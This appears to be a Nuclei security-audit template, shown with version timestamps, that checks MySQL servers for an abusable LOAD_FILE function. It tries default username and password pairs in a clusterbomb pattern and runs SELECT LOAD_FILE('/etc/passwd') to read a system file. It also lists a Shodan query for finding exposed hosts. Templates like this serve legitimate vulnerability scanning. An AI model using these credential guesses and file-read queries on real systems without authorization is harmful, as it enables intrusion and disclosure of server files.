2024-03-09 14:23:42 +00:00
id : mysql-load-file
info :
name : MySQL LOAD_FILE - Enable
author : pussycat0x
severity : high
description : |
The LOAD_FILE function in MySQL is potentially dangerous if not used carefully, as it can pose security risks. The function is designed to read the contents of a file on the server and return the file contents as a string. However, it can be exploited if not properly restricted or sanitized, leading to security vulnerabilities.
reference :
- https://nmap.org/nsedoc/scripts/mysql-databases.html
metadata :
verified : true
2024-03-23 09:28:19 +00:00
max-request : 16
shodan-query : "port:3306"
2024-03-22 10:10:06 +00:00
tags : js,mysql,network,audit
2024-03-09 14:23:42 +00:00
javascript :
- code : |
let m = require('nuclei/mysql');
let c = m.MySQLClient();
let response = c.ExecuteQuery(Host,Port,User,Pass,Query);
2024-03-09 18:32:19 +00:00
Export(response);
2024-03-09 14:23:42 +00:00
args :
Host : "{{Host}}"
Port : "3306"
Query : SELECT LOAD_FILE('/etc/passwd')
User : "{{usernames}}"
Pass : "{{passwords}}"
payloads :
2024-03-22 10:10:06 +00:00
usernames :
- root
- admin
- mysql
2024-03-22 14:11:12 +00:00
- test
2024-03-22 10:10:06 +00:00
passwords :
- root
- admin
2024-03-22 14:11:12 +00:00
- mysql
- test
2024-03-22 10:10:06 +00:00
attack : clusterbomb
2024-03-09 14:23:42 +00:00
2024-03-09 18:18:37 +00:00
stop-at-first-match : true
2024-03-09 14:23:42 +00:00
matchers-condition : and
matchers :
- type : dsl
dsl :
- success == true
- type : word
words :
- "root:x:"
extractors :
- type : json
part : response
json :
2024-03-23 09:23:23 +00:00
- .Rows[]
# digest: 4a0a00473045022100f4e8ee3a2e82918a4066c208646358d00469471ede8dd9a25b047ec5e6d4518202207adfa09d4425cac3f75b46862386a7a1e19b11be4af6df3ba94302212b330fb6:922c64590222798bb761d5b6d8e72950